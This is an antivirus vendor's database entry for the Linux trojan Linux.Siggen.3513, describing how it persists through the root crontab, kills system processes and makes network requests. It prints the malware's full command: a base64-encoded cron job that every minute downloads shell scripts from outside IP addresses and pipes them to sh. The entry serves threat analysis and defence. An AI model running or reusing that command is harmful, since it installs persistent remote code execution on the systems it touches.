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Linux.Siggen.3513
Added to the Dr.Web virus database:
2021-01-11
Virus description added:
2021-01-11
Technical Information
To ensure autorun and distribution:
Creates or modifies the following files:
/var/spool/cron/crontabs/root
Malicious functions:
Launches itself as a daemon
Substitutes application name for:
Launches processes:
sh -c echo '* * * * * echo -n \"d2dldCAtTyAtIGh0dHA6Ly8xODUuMTY1LjE2OS42L2Qvei5zaHxzaCAgfHwgY3VybCAtcyBodHRwOi8vMTg1LjE2NS4xNjkuNi9kL3ouanBnfHNoIHx8IHdnZXQgLU8gLSBodHRwOi8vODcuMjM2LjIxMi4yMzcvZC96LnNofHNoIHx8IGN1cmwgIC1zIGh0dHA6Ly84Ny4yMzYuMjEyLjIzNy9kL3ouanBnfHNo\" | base64 -d | sh > /dev/null' | crontab -;
crontab -
Kills system processes:
Kills the following processes:
run.sh
bash
(sd-pam)
systemd
agetty
acpid
rsyslogd
systemd-logind
cron
rpc.idmapd
rpcbind
dhclient
systemd-udevd
systemd-journal
kworker/u2:0
systemd-cgroups
Unknown process with PID: 0
Performs operations with the file system:
Modifies file access rights:
/var/spool/cron/crontabs/tmp.ET7F4Z
/var/spool/cron/crontabs/tmp.Ziyn7K
Creates or modifies files:
/var/spool/cron/crontabs/tmp.ET7F4Z
/var/spool/cron/crontabs/tmp.Ziyn7K
Deletes files:
Network activity:
HTTP GET requests:
95.###.142.161/d/lll
95.###.142.161/d/drn
95.###.142.161/d/lmmml
Curing recommendations
Linux
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OK